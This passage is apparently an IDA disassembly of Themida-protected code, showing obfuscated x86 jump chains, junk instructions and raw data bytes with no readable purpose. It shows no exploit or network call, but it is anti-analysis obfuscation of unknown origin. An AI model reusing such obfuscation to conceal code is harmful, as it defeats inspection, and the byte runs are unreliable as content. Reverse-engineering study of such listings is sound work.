8F00003Ch, 248B2404h, 0BB0F6624h dd 0E99C2404h, 0FFFFAB8Ch, 9FE98058h, 28F1C180h, 0D80059CBh dd 4C43E9h, 66556800h, 0B6E90000h, 81000012h, 0EDE7DCC7h dd 5B6AE9BFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546812: ; CODE XREF: Themida_:005487D8j add esp, 4 xchg ebp, [esp] pop esp add bl, 40h sub bl, 73h add bl, al add bl, 73h push 5DDCh mov [esp], ecx mov cl, 40h sub bl, cl pop ecx add bl, 2Eh movzx eax, al mov dx, [esp] push esi mov esi, esp push ebx jmp loc_546056 ; --------------------------------------------------------------------------- db 81h dd 1814B0EBh, 5BD82966h, 32E9F029h, 54FFFFC2h, 8324048Fh dd 148904ECh, 55E28924h, 4F72E9h, 0AB0AE900h, 8B66FFFFh dd 0EC812404h, 4, 81243489h, 4ECh, 48F5400h, 64E95024h dd 0BD000048h, 4, 51A4E9h, 5BDF8900h, 1167E9h db 0 ; --------------------------------------------------------------------------- loc_54689D: ; CODE XREF: Themida_:0054B817j xor eax, esi mov esi, [esp] push edx mov edx, esp add edx, 4 push ebp mov ebp, 4 sub edx, 1FA16FC5h add edx, ebp add edx, 1FA16FC5h jmp loc_548D78 ; --------------------------------------------------------------------------- loc_5468C4: ; CODE XREF: Themida_:0054B158j push ecx pushf jmp loc_545308 ; --------------------------------------------------------------------------- dd offset aMmmmmmmmmmmmmm+10Ch align 10h dd 0BD242C89h, 7D0B271Fh, 0D4BD5550h, 0B8110A11h, 69726BDFh dd 485DE829h, 0C104E8C1h, 0E0D107E8h, 6C0D4335h, 1661E999h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5468FA: ; CODE XREF: Themida_:0054251Aj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_5413DA ; --------------------------------------------------------------------------- loc_54691A: ; CODE XREF: Themida_:00543779j sub ebx, 3BF53D4h add ebx, eax push esi push eax jmp loc_5458DE ; --------------------------------------------------------------------------- db 66h, 52h, 53h dd 0CE885250h, 0FFB93BE9h, 2FEB80FFh, 0D05BD988h, 15E980E9h dd 6FB45052h, 0FFEF3DE9h, 88C288FFh, 0CBE95AD3h, 68FFFFF0h dd 615048E6h, 0E92434FFh, 0FFFFAA34h, 53241489h, 0FE88BAB7h dd 8BF0305Bh, 0C4832414h, 0DBC1E904h, 248BFFFFh, 66C80024h dd 53C33059h, 4787E9h, 24248900h, 4240481h, 8F000000h dd 4812404h, 424h, 0E95900h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_54699F: ; CODE XREF: Themida_:0054B9F8j shr edx, 8 or edx, 32306C69h push ecx mov ecx, 36293715h inc ecx neg ecx shr ecx, 8 shr ecx, 1 add ecx, 72705925h xor edx, ecx pop ecx sub ebx, edx jmp loc_5467A1 ; --------------------------------------------------------------------------- dw 0C383h dd 241C3304h, 0E9241C31h, 5093h ; --------------------------------------------------------------------------- loc_5469D4: ; CODE XREF: Themida_:005452D9j mov [esp], eax push esi jmp loc_542A08 ; --------------------------------------------------------------------------- aNhi db 'h‰:',0 dw 0E900h dd 1EEh ; --------------------------------------------------------------------------- loc_5469E8: ; CODE XREF: Themida_:0054413Ej push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], esi mov esi, ebp mov edx, esi mov esi, [esp] add esp, 4 pop ebp add edi, edx mov edx, [esp] push ebp mov ebp, esp push edx jmp loc_541BF2 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aPs_ db '$PéÄ.',0 dw 0F700h dd 72830DD8h, 68404CF4h, 44EEh, 0BF243C89h, 652E7D9Dh dd 0FFE9F4E9h, 3EDC1FFh, 18F8E9h, 0EDC15D00h, 0F2ED8106h dd 0E966D323h, 0FFFFEEBEh, 9A1B9h, 6A53E941h, 0C3810000h dd 34B3450Bh, 0E20E9h, 81E58900h, 4C5h, 4BB5300h, 0E9000000h dd 3BB5h, 40C8EE81h, 44E915B4h, 66FFFFFCh, 51240C8Bh, 0C181E189h dd 4, 25685550h, 8B7E6C3Ah, 0C481242Ch, 4, 93C5DDB8h, 8C32D81h dd 0E801565Ch, 5C08C305h, 72E95D56h, 0ADFFFFC0h, 6146F505h dd 4D052D0Ch, 82D3459h, 291A5A2Bh, 7D5E68D8h, 2C890000h dd 2B08BD24h, 0E8011A5Ah, 0BF57535Dh, 6BC31342h, 0F75FFB89h dd 4BCB81DBh, 0E914A30Ch, 0FFFFE268h, 6D78E95Fh, 0BE0000h dd 572F70EFh, 1D0B69BFh, 90E94F23h, 0FFFFFFBDh, 68582434h dd 3066h, 54243489h, 5E2434FFh, 5304C483h, 4BBh, 2FE95700h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546B2B: ; CODE XREF: Themida_:00549AC8j pop eax push ebx mov ebx, 516115A7h shl ebx, 7 xor ebx, 9943F933h add eax, ebx pop ebx or eax, eax jnz loc_542E62 push esi mov esi, 10573FBCh mov edx, 5D36657Fh jmp loc_549A34 ; --------------------------------------------------------------------------- dw 69B6h dd 8003EEC0h, 0CEFEBAE6h, 507BE9h, 24048300h, 0C1815904h dd 4, 44FEE9h, 81D2F700h, 236D4EC2h, 0C0EA8121h, 68B4E3DDh dd 6F0Bh, 1EB2E9h db 0 ; --------------------------------------------------------------------------- loc_546B8D: ; CODE XREF: Themida_:00541D4Cj neg dword ptr [esp] pop ecx inc ecx add ecx, 24471823h add ebp, ecx pop ecx jmp loc_543D10 ; --------------------------------------------------------------------------- loc_546BA0: ; CODE XREF: Themida_:00548F28j push ecx mov ecx, 8F96AFCh jmp loc_543E5B ; --------------------------------------------------------------------------- db 57h dd 2C4C6DBFh, 4FD7F773h, 0FFE37DE9h, 0C8E981FFh, 81622666h dd 6A6AF0E1h, 0E4C1814Bh, 81BCB7DFh, 936D58C2h, 0BBF7E936h dd 0C89FFFFh, 40C36824h, 0C8B359Fh, 4C48324h, 0FFB32EE9h dd 3850B8FFh, 0F801D8B9h, 67E9485Fh db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546BF7: ; CODE XREF: Themida_:005487E3j mov edx, edi pop edi jmp loc_5433E3 ; --------------------------------------------------------------------------- db 5Ch dd 9CC83B66h, 0FFB57DE9h, 0D5E951FFh db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546C0F: ; CODE XREF: Themida_:0054D568j or ebp, 75B26290h add ebp, 4D8429FCh jmp loc_54A466 ; --------------------------------------------------------------------------- dd 16F6815Eh, 8167CA57h, 9A73ECF6h, 8BF0015Eh, 89532434h dd 4C381E3h, 83000000h, 0E95304C3h, 0FFFFBB60h, 3B4DE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546C4A: ; CODE XREF: Themida_:00546584j push ebp sub esp, 4 mov [esp], edx push ecx push 4ED74316h jmp loc_54D73A ; --------------------------------------------------------------------------- dd 5FF18149h, 0E927C950h, 774h ; --------------------------------------------------------------------------- loc_546C68: ; CODE XREF: Themida_:0054D5F7j pop ebx not eax jmp loc_54A8D5 ; --------------------------------------------------------------------------- dd 24048B66h, 68E08950h, 141Ah, 0B9240C89h, 7FC7724h, 28A8E9h dd 0C8B6600h, 0EC815724h, 4, 24048F54h, 4240483h, 0FFD7D5E9h dd 0C8B66FFh, 2C48124h, 0E9000000h, 0FFFFF429h, 5004C483h dd 4B8h, 58C60100h, 2474FF56h, 0DCF5E904h, 0E3C1FFFFh dd 86EB8104h, 4302C64Bh, 0E903E3C1h, 0FFFFECFEh ; --------------------------------------------------------------------------- loc_546CD8: ; CODE XREF: Themida_:005449D4j mov [esp], eax xor [esp], edx xor edx, [esp] xor [esp], edx sub esp, 4 mov [esp], edx not dword ptr [esp] jmp loc_5471CF ; --------------------------------------------------------------------------- dw 814Fh dd 9AC5D7F7h, 0E9F92187h, 2584h, 875EF701h, 248B243Ch dd 0E3895324h, 58B6E9h, 2474FF00h, 2434FF04h, 4C4835Bh dd 5E0CE9h, 0E9585B00h, 4B4Bh, 0E9028F66h, 0FFFFA648h dd 7914B5BFh, 5FFD897Bh, 0FFAFA1E9h, 87E95DFFh, 81FFFFEBh dd 9920B3C3h, 0BEB813Ah, 8334B345h, 0C8904ECh, 20685524h dd 5D2DCD06h, 0D5F74D45h, 0FFC18BE9h, 0F7D8F7FFh, 0D7BB53D8h dd 0E90A5562h, 68ECh ; --------------------------------------------------------------------------- loc_546D74: ; CODE XREF: Themida_:0054A62Cj pop ebx jmp loc_54AE92 ; --------------------------------------------------------------------------- dw 8B66h dd 82E92404h, 1000060h, 0F4C281C2h, 8B266111h, 0C4812404h dd 4, 5C241487h, 4C581h, 7EE90000h, 1000024h, 77EB81CBh dd 510D3B67h, 130D5EB9h, 0E9CB0104h, 274h, 0C781E789h dd 4, 4C781h, 3C330000h, 243C3124h, 5C243C33h, 34FFFB29h dd 5E82E924h, 9BBB0000h, 81253159h, 744311EBh, 5BDD21F3h dd 446CED81h, 0E8319E9Eh, 0FBC2815Dh, 139FE5Ch, 0C18CE9C2h dd 0BB53FFFFh, 625E7985h, 0FFCEE3E9h db 0FFh ; --------------------------------------------------------------------------- loc_546E09: ; CODE XREF: Themida_:0054AA5Bj pop edx sub esp, 4 mov [esp], eax mov al, 0CEh sub bl, al pop eax add bl, al sub esp, 2 mov [esp], ax push ebx mov bl, 0CEh mov ah, bl mov ebx, [esp] add esp, 4 add bl, 9Ch sub bl, 96h add bl, ah push edx mov dl, 2Eh inc dl jmp loc_544EA3 ; --------------------------------------------------------------------------- db 50h, 0B8h, 7Bh dd 35645A28h, 319A627Dh, 0C158C389h, 0D3F703E3h, 0FFE961E9h dd 5EF229FFh, 66EBE9h, 0C6815E00h, 4, 4BF57h, 0FE010000h dd 0FFD469E9h db 0FFh ; --------------------------------------------------------------------------- loc_546E75: ; CODE XREF: Themida_:00548D13j mov ecx, 4 jmp loc_5499DC ; --------------------------------------------------------------------------- loc_546E7F: ; CODE XREF: Themida_:0054C236j pop esp and ebx, esi jmp loc_549B98 ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFFBE3Ah ; --------------------------------------------------------------------------- loc_546E90: ; CODE XREF: Themida_:00543495j shr ecx, 7 push dword ptr [edi+1Ch] sub dword ptr [esp], 659C4F49h pop eax jmp loc_548D88 ; --------------------------------------------------------------------------- db 52h dd 83242C8Bh, 148B04C4h, 4C48124h, 81000000h, 0DE0191E5h dd 36AEE963h, 0C2810000h, 5A664B13h, 7749B951h, 0E98353BFh dd 0E9E9D1FFh, 0EE9h, 9FE951B7h, 83FFFFACh, 0F16804C4h dd 8900002Dh, 76B5240Ch, 2FE9C5FEh, 100000Fh, 5D04246Ch dd 1B242C81h, 0E938FB68h, 0FFFFA478h ; --------------------------------------------------------------------------- loc_546F00: ; CODE XREF: Themida_:00544BE6j push dword ptr [esp] pop ebp add esp, 4 push 4460h mov [esp], ebp sub esp, 4 jmp loc_547E58 ; --------------------------------------------------------------------------- dw 0C680h dd 80FE000Eh, 2C5B0EEEh, 4F02894h, 0EB805A94h, 0EEEB809Bh dd 5FE9C300h, 57000045h, 7E3160BFh, 3DE94F2Ah db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546F43: ; CODE XREF: Themida_:0054C351j add edx, edi pop edi sub ebp, 2449254Fh add ebp, edx add ebp, 2449254Fh pop edx xchg ebp, [esp] jmp loc_543494 ; --------------------------------------------------------------------------- db 21h, 0E9h, 0FFh dd 2C8B2434h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_543846 ; --------------------------------------------------------------------------- db 81h, 0C9h, 0C1h dd 0F738580Bh, 1F23E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546F8A: ; CODE XREF: Themida_:0054A31Dj push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_5428D9 ; --------------------------------------------------------------------------- loc_546F98: ; CODE XREF: Themida_:0054D85Aj push edx push esp pop edx push 41EBh mov [esp], eax mov eax, 4 sub edx, 620D2272h add edx, eax add edx, 620D2272h pop eax push ebx mov ebx, 4 add edx, ebx pop ebx xor edx, [esp] xor [esp], edx jmp loc_542BC6 ; --------------------------------------------------------------------------- db 5Ch dd 34FFD830h, 0C4815B24h, 4, 2EC81h, 89660000h, 0E950240Ch dd 0FFFFD892h, 24048966h, 0FFA387E9h, 7EC805FFh, 0D02971FBh dd 0FB7EC82Dh, 1A70E971h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547002: ; CODE XREF: Themida_:0054CF85j push 222Ch mov [esp], esi jmp loc_543771 ; --------------------------------------------------------------------------- db 5 dd 4, 8A3E9h db 0 ; --------------------------------------------------------------------------- loc_547019: ; CODE XREF: Themida_:0054137Bj push 46DFh jmp loc_541A6F ; --------------------------------------------------------------------------- db 0B7h dd 0E9CFFEE8h, 5B1Ah, 0EB815959h, 2, 0C530E953h, 148BFFFFh dd 0E6895624h, 4C681h, 0E0E90000h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54704B: ; CODE XREF: Themida_:0054B573j push ebp push 21C56577h jmp loc_5427AE ; --------------------------------------------------------------------------- loc_547056: ; CODE XREF: Themida_:0054B3D7j sub edx, 64FD70EBh push ecx mov ecx, 5A184A8Dh jmp loc_542C19 ; --------------------------------------------------------------------------- loc_547067: ; CODE XREF: Themida_:0054C4CBj add eax, edi sub eax, 707E1508h mov edi, [esp] push ebp mov ebp, esp jmp loc_548B93 ; --------------------------------------------------------------------------- db 58h, 1, 0D7h dd 5A2434FFh, 4C481h, 0C7810000h, 2, 2474FF57h, 48F5F04h dd 8B665C24h, 54E9240Ch, 50000069h, 405E089h, 0E9000000h dd 0FFFFC731h, 4EC81h, 3C890000h, 0D712E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5470BA: ; CODE XREF: Themida_:0054A4F7j mov eax, 63B112EFh or eax, 78582AF8h push edx mov edx, 16AC3B73h push ebp mov ebp, 13EE3293h jmp loc_54C969 ; --------------------------------------------------------------------------- loc_5470D5: ; CODE XREF: Themida_:005434F6j add esi, edx pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp imul cx jmp loc_54AD06 ; --------------------------------------------------------------------------- aSd db '^éd',7,0 align 10h dd 400EF381h, 0DD894298h, 0FFB2CEE9h, 4C483FFh, 0E977E951h dd 0D829FFFFh, 8B2434FFh, 0C483241Ch, 5F545704h, 4C781h dd 0BE560000h, 4, 0FFFBDBE9h, 0C8B66FFh, 0DA86824h, 34890000h dd 685E5424h, 240Ch, 53240489h, 0B823FEBBh, 0AED0E96Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547146: ; CODE XREF: Themida_:005493E7j add eax, edi pop edi add eax, 4 jmp loc_5484CF ; --------------------------------------------------------------------------- db 0C1h, 0E6h, 4 dd 0CFF564Eh, 31FE924h, 89570000h, 4C781E7h, 83000000h dd 3C8704C7h, 0EC815C24h, 4, 0FFA870E9h, 787E68FFh, 4890000h dd 24148724h, 59D4E9h db 0 ; --------------------------------------------------------------------------- loc_547189: ; CODE XREF: Themida_:00541466j sub ecx, 7BA0B4Ah jmp loc_54ADDC ; --------------------------------------------------------------------------- dd 24048B66h, 815F5457h, 4C7h, 0BB535000h, 17833E98h, 833E9AB8h dd 0FFD83117h db 34h, 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54C842 ; --------------------------------------------------------------------------- aZ4Sag db '‡4$é€G',0 db 0 ; --------------------------------------------------------------------------- loc_5471CF: ; CODE XREF: Themida_:00546CEDj pop edx xchg edx, [esp] push dword ptr [esp] mov eax, [esp] jmp loc_54C436 ; --------------------------------------------------------------------------- aFpPiFxsARauUAi db 'fP°pˆÂfXS³´€Ãà€ã',8,'Àã',8,'€ëG',0 aSN db 'ÚéÃN',0 align 4 dd 7587EB81h, 0C32962F3h, 7587C381h, 0B95162F3h, 0EF43826h dd 457E9h, 0E0C16600h, 60D6606h, 4B2D6627h, 23F2E97Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547226: ; CODE XREF: Themida_:0054320Bj pop ebp pop dword ptr [esp] mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_541378 ; --------------------------------------------------------------------------- db 83h dd 2EE904ECh, 81FFFFA4h, 4C4h, 5BDF0100h, 0E902C783h, 2219h dd 0F747CF87h, 3BCE9D7h, 77FF0000h, 59669D1Ch, 9C2414D2h dd 0FFA10FE9h, 0E5CA81FFh, 4A63747Ah, 8101EA83h, 0E6B8A4C2h dd 0A1BE560Ch, 945B56Ch, 0EAE95EF2h, 0D1FFFFD7h, 64F281EAh dd 174B3F0h, 0ADE95AD6h, 3100002Dh, 0A6E7E9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54729E: ; CODE XREF: Themida_:0054B1FEj add edx, ebx push ebx mov ebx, 0 jmp loc_54325F ; --------------------------------------------------------------------------- db 58h dd 0FFEF34E9h, 8BCF01FFh, 0E953240Ch, 0FFFFAD44h, 0FFA0B7E9h dd 3CE95FFFh, 0D1000042h, 590868E2h, 2C890000h, 57E58924h dd 0FFC0B4E9h, 243481FFh, 52D5485Eh, 5324048Bh, 0C381E389h dd 4, 0E904C383h, 5291h, 0D2F7D2F7h, 7092BB53h, 0DA091755h dd 81DAF75Bh, 8C9E27EAh, 0EEE9E9E5h, 3489FFFFh, 0A52BBE24h dd 0CF2D456Eh, 293FC63Dh, 0CFB951F0h, 53FC63Dh, 0AE5647Ch dd 105E9h, 5BF83000h, 4EC81h, 0F6E90000h, 5B00000Bh, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 0BD242C89h, 2, 6934C781h dd 0EF291D65h, 6934EF81h, 35E91D65h, 5600001Eh, 39D7B850h dd 0C6892181h, 5EF53158h, 64CEE581h, 0C5316DB5h, 2B17E9h db 0 ; --------------------------------------------------------------------------- loc_547381: ; CODE XREF: Themida_:0054B435j add eax, 1 push edx mov edx, 4FA18ADh jmp loc_547DB3 ; --------------------------------------------------------------------------- loc_547391: ; CODE XREF: Themida_:0054AD47j push 4C0Dh mov [esp], esp add dword ptr [esp], 4 pop ebx push edi mov edi, 1BFB1548h or edi, 4C730067h shr edi, 5 add edi, 0FD002759h add ebx, edi mov edi, [esp] push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] jmp loc_543E3F ; --------------------------------------------------------------------------- dd 0E959CA01h, 0FFFFADA7h, 1E45E940h, 63680000h, 0E900007Ch dd 5E1Dh, 4EC81h, 14890000h, 2D685724h, 8B7AFF57h, 54E9243Ch dd 83FFFFE5h, 0FF5204C2h, 5A042474h, 5C24048Fh, 0E90AE8C1h dd 5A0Eh ; --------------------------------------------------------------------------- loc_547420: ; CODE XREF: Themida_:0054A438j mov edi, [esp] add esp, 4 xchg edx, [esp] pop esp jmp loc_544012 ; --------------------------------------------------------------------------- dw 0C801h dd 647CBE56h, 0F0290AE5h, 4533E95Eh, 4310000h, 2DE99C24h dd 0BAFFFF9Fh, 6E253C3Ah, 525AD321h, 5330E9h, 5C5BB800h dd 0F7405F8Ah, 285D2DD0h, 0F3E97F3Eh, 29FFFFE9h, 0E9F089C6h dd 0AE1h ; --------------------------------------------------------------------------- loc_547474: ; CODE XREF: Themida_:0054791Fj pop eax mov ebx, [esp] jmp loc_548A18 ; --------------------------------------------------------------------------- aSk6 db '^éª6',0 dw 8300h dd 0C06804C4h, 0E900007Fh, 0FFFFE09Ah, 0FF9EE3E9h, 54E781FFh dd 0C1360413h, 0E94F02EFh, 0FFFFB1F2h, 0D964EC2Dh, 50D8F73Ch dd 582414F7h, 0AA9B8F2Dh, 58C301B5h, 0FFF509E9h, 0BAE956FFh dd 0F7FFFFD6h, 5CB81D3h, 812FDC28h, 4A7D1DE3h, 0EB814357h dd 553F65E7h, 0D32BF381h, 0DD89B208h, 0FFA815E9h db 0FFh ; --------------------------------------------------------------------------- loc_5474E5: ; CODE XREF: Themida_:00549377j pop dword ptr [esp] jmp loc_5493D2 ; --------------------------------------------------------------------------- db 81h, 0F3h, 37h dd 2922F265h, 0C8B5BD8h, 4C48324h, 3726E956h, 874F0000h dd 575DE9FDh, 4BB0000h, 81000000h, 52D66C6h, 2BEE8107h dd 0E973BE33h, 0FFFFE7DFh, 0CB8BE95Bh, 8B66FFFFh, 89562404h dd 0E95350E6h, 0FFFFA2E1h, 0BE04C483h, 0DB2E5660h, 2959CE29h dd 2434FFF0h, 0A259E95Eh, 0E688FFFFh, 31A0E958h, 4810000h dd 424h, 24048F00h, 4EC81h, 1FE90000h, 81000013h, 0E76952EBh dd 52DBF72Fh, 0FFFED6E9h db 0FFh ; --------------------------------------------------------------------------- loc_547575: ; CODE XREF: Themida_:0054A16Dj pop eax or ebx, 45453B2Bh sub esp, 4 mov [esp], ecx mov ecx, 736024D4h add ebx, ecx jmp loc_541BAF ; --------------------------------------------------------------------------- db 66h, 68h, 67h dd 1C896604h, 0F6F38824h, 0E95150D3h, 5598h ; --------------------------------------------------------------------------- loc_5475A4: ; CODE XREF: Themida_:00544018j mov [esp], ecx push ebx push 3C0B52E8h jmp loc_5482B1 ; --------------------------------------------------------------------------- dw 0FA01h dd 242C8150h, 79203564h, 281028Fh, 79203564h, 6824148Bh dd 5C0h, 89243C89h, 4C781E7h, 50000000h, 4B8h, 58C70100h dd 5C243C87h, 0E924048Bh, 38D4h, 1F72E181h, 0C1813D3Dh dd 0D955394Dh, 159CE31h, 68575EF0h, 2, 2D622D5Fh, 0F8015081h dd 812D6205h, 0D08AE950h, 0F781FFFFh, 20002146h, 520AE9h dd 75BD5500h, 148C84Ch, 0C3815DEBh, 14F11DCEh, 7EE95155h dd 0AC00004Ah, 0EC816704h, 2, 24148966h, 0C204B1B2h, 0E9E9D000h dd 57FFFFE0h, 2976E9h db 0 ; --------------------------------------------------------------------------- loc_547655: ; CODE XREF: Themida_:0054D386j push 468Fh mov [esp], ebx push esi mov esi, 4A456498h xor [esp+4], esi jmp loc_547AAA ; --------------------------------------------------------------------------- dd 8159CB29h, 0D93179C3h, 91685111h, 8900000Eh, 8B682414h dd 5A57AE47h, 0FF9FC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_547689: ; CODE XREF: Themida_:00545A42j add esp, 4 push esi mov esi, 4 add ebp, 6EEC4582h jmp loc_545CB2 ; --------------------------------------------------------------------------- loc_54769D: ; CODE XREF: Themida_:0054664Dj sub ebp, edi pop edi mov edx, ebp pop ebp jmp loc_54AFF2 ; --------------------------------------------------------------------------- loc_5476A8: ; CODE XREF: Themida_:0054471Dj add esp, 4 push ecx jmp loc_542DAD ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 1000000h, 0F1BF57C8h, 0F74B5C08h, 0D3C6E9DFh, 2C31FFFFh dd 242C3324h, 0F1F7665Ch, 4DE168h, 240C8900h, 0C181E189h dd 4, 4EC81h, 2C890000h, 31E95124h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5476EF: ; CODE XREF: Themida_:0054D827j shr eax, 18h xor eax, ecx push eax xor [esp], edi xor edi, [esp] xor [esp], edi push edi push ebp pop edi jmp loc_548C77 ; --------------------------------------------------------------------------- dw 2C33h dd 24248B24h, 9C2424D2h, 0FF9C63E9h db 0FFh ; --------------------------------------------------------------------------- loc_547715: ; CODE XREF: Themida_:00549901j shl ebx, 3 xor ebx, 7777A4FBh mov edx, ebx pop ebx inc edx jmp loc_54B9F2 ; --------------------------------------------------------------------------- db 31h dd 2C33242Ch, 34895C24h, 0FFFFBE24h, 7729FFFFh, 2434FF24h dd 0E924348Bh, 0C89h, 0E9241489h, 0FFFFB16Dh, 0BD55505Ah dd 11783CE4h, 9ECD8145h, 810E636Ch, 0A72640E5h, 81D5F720h dd 0BA87E7C5h, 0EE895655h, 348BF089h, 4C48124h, 0E9000000h dd 5708h ; --------------------------------------------------------------------------- loc_54777C: ; CODE XREF: Themida_:0054C0B0j pop dword ptr [edi+24h] push eax push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_541D8A ; --------------------------------------------------------------------------- dd 300D04BEh, 0E3E6817Bh, 0E942BF1Bh, 4F60h, 5C241C87h dd 8904EC83h, 0A5B9240Ch, 494FEF21h, 595EE981h, 0D1F71611h dd 37B5E981h, 0CB01C622h, 0FA69E959h, 0AFB8FFFFh, 0C119D368h dd 913502E0h, 0D62932Eh, 207433F4h, 4806E8C1h, 15ADE9h dd 0E9515800h, 3779h, 62E9EB81h, 0CB017338h, 62E9C381h dd 0C8B7338h, 4C48324h, 7D45BE56h, 0CAE90592h, 1FFFFD4h dd 362C68C7h, 0C890000h, 4D3EB924h, 0CF0123F9h, 3C335859h dd 243C3124h, 5C243C33h, 6824048Bh, 0B49h, 0E9243489h dd 0FFFFB91Ch, 57FCB850h, 0C7895CCCh, 5FF83158h, 0B2B95153h dd 0E965DB5Ah, 1264h, 18EBE281h, 0C2816967h, 0DEDD0001h dd 0FFCE33E9h, 4EC81FFh, 0E9000000h, 0FFFFE35Fh ; --------------------------------------------------------------------------- loc_547870: ; CODE XREF: Themida_:00542E6Bj push edi push ebx mov ebx, 561B7856h jmp loc_543DF2 ; --------------------------------------------------------------------------- dd offset dword_49005C+0C224h dd 0F9005AD7h, 3D23E9h, 0B3EB8100h, 293A9920h, 0F4ADE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547896: ; CODE XREF: Themida_:0054945Ej mov eax, 3B94243Dh jmp loc_544AA7 ; --------------------------------------------------------------------------- dd 0DCBD555Bh, 0F74DF02Bh, 0DEC581DDh, 814DF02Bh, 0B440C8C6h dd 0E9EE0115h, 0FFFFF1C0h, 7D0668h, 240C8900h, 4B9h, 675C0500h dd 0C8017B1Eh, 1E675C2Dh, 240C8B7Bh, 5004C483h, 42474FFh dd 24048F58h, 136FE9h, 240C8B00h, 104C483h, 0C6835BDEh dd 24348704h, 0FFC211E9h, 0E9585EFFh, 0FFFFE56Dh, 0C3E95366h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54790B: ; CODE XREF: Themida_:005481F6j push edx mov dh, bl mov al, dh pop edx sub esp, 4 mov [esp], ebx mov bl, al mov dl, bl pop ebx jmp loc_547474 ; --------------------------------------------------------------------------- dd 6413B951h, 0CB8957C5h, 47C9E959h, 4CBE0000h, 52657C44h dd 0FF9B2EE9h, 0C8B66FFh, 8B545324h, 58E9241Ch, 8B00005Bh dd 0C481240Ch, 4, 335BDA01h, 40E92414h, 31FFFFE6h, 5E6C1D6h dd 0D8E7C681h, 0A1E9456Ch, 5200004Eh, 2E34BD55h, 0C5E92E47h dd 68000053h, 0 aSB db '),$éÜB',0 align 4 dd 0E9870459h, 0FFFFBEBCh, 8904EC83h, 0E9552434h, 3D08h dd 295AD001h, 40F22DD8h, 0BB5324CEh, 26E60B7Ah, 81FFEB83h dd 8868D7C3h, 92E9574Dh db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5479BB: ; CODE XREF: Themida_:00548D91j push ecx sub esp, 4 mov [esp], edx mov edx, 2C6C5189h not edx push ebx mov ebx, 78E83584h shl ebx, 3 shl ebx, 5 shl ebx, 2 sub ebx, 172BAB9Ah add edx, 775937A5h sub edx, ebx sub edx, 775937A5h pop ebx push edx jmp loc_545AA5 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0D6C78100h, 0E9599463h, 0FFFFFDE5h, 4247C01h dd 81008F5Fh, 0B36A7028h, 9962E93Ch, 34FFFFFFh, 0C4835A24h dd 4C28104h, 83000000h, 3C8904ECh, 0FFE95524h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547A2F: ; CODE XREF: Themida_:005451E9j and ah, 7Dh not ah sub esp, 4 jmp loc_5461DB ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2C58100h, 87000000h, 248B242Ch, 89666424h, 991EE902h dd 0F9BFFFFFh, 812A6868h, 3027B0E7h, 5EFC10Fh, 31D3EF81h dd 0D7F74145h, 7A9DF781h, 0FE014F86h, 81243C8Bh, 4C4h dd 81DE0100h, 724A50EEh, 0C6835B0Fh, 24348704h, 8B24248Bh db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_54D5C7 ; --------------------------------------------------------------------------- loc_547AAA: ; CODE XREF: Themida_:00547667j pop esi mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi push eax jmp loc_545EFD ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 5D23F4BAh, 81DAF73Fh, 0A2DC0AEAh, 65ED81C0h, 125B954h dd 65C581D5h, 5A25B954h, 8B242C87h, 0FF662424h, 0E99C2404h dd 0FFFF988Ch, 650AEE81h, 685941D7h, 389Eh, 0BA241489h dd 100F52DFh, 0CE9D601h, 54FFFFE7h, 5024048Fh, 4B8h, 24440100h dd 24048B04h, 4C481h, 3C8B0000h, 5A545224h, 4C281h, 8EE90000h dd 0BB000034h, 339841B4h, 0FFF9B4E9h, 2EFC1FFh, 0FFBA3DE9h dd 242489FFh, 4240483h, 43A8E9h, 10C68100h, 1048E8Ah, 0C5815EF5h dd 4, 5C242C87h, 0A7BA5259h, 81688C56h, 0BA1AA0C3h, 81D3297Ah dd 0BA1AA0EBh, 24148B7Ah, 1735E951h, 0A2B90000h, 81240370h dd 5C7E4CE1h, 4DC9812Fh, 8129E818h, 0E904A8F1h, 81E9D122h dd 0D48BD5F1h, 0EDE95017h, 34000042h, 0C0D8F6AEh, 3C2C08E8h dd 0C3885366h, 